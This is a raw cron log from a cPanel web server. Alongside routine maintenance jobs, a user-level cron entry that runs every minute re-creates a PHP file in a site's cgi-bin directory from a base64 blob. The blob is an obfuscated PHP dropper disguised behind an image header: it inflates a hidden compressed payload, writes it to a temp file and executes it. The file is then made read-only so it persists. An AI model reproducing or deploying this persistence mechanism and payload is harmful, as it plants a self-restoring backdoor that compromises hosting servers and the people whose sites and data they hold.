Sep  7 17:05:01 server CROND[5643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:05:01 server CROND[5645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:05:01 server CROND[5646]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 17:06:01 server CROND[6503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:06:01 server CROND[6505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:06:01 server CROND[6506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:07:01 server CROND[6887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:07:01 server CROND[6888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:07:01 server CROND[6889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:08:01 server CROND[7280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:08:01 server CROND[7279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:08:01 server CROND[7281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:09:01 server CROND[7758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:09:01 server CROND[7757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:09:01 server CROND[7759]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 17:09:01 server CROND[7760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:10:01 server CROND[8166]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 17:10:01 server CROND[8168]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:10:01 server CROND[8172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:10:01 server CROND[8178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:10:01 server CROND[8174]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:10:01 server CROND[8176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:10:01 server CROND[8175]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 17:10:01 server CROND[8173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:11:01 server CROND[8998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:11:01 server CROND[8999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:11:01 server CROND[9000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:12:01 server CROND[9497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:12:01 server CROND[9498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:12:01 server CROND[9500]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 17:12:01 server CROND[9499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:13:01 server CROND[9997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:13:01 server CROND[10004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:13:01 server CROND[10003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:14:01 server CROND[10537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:14:01 server CROND[10538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:14:01 server CROND[10539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:15:01 server CROND[10917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:15:01 server CROND[10919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:15:01 server CROND[10922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:15:01 server CROND[10921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:15:01 server CROND[10925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:15:01 server CROND[10924]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 17:15:01 server CROND[10928]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:15:01 server CROND[10923]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 17:16:01 server CROND[11761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:16:01 server CROND[11762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:16:01 server CROND[11763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:17:01 server CROND[12158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:17:01 server CROND[12159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:17:01 server CROND[12160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
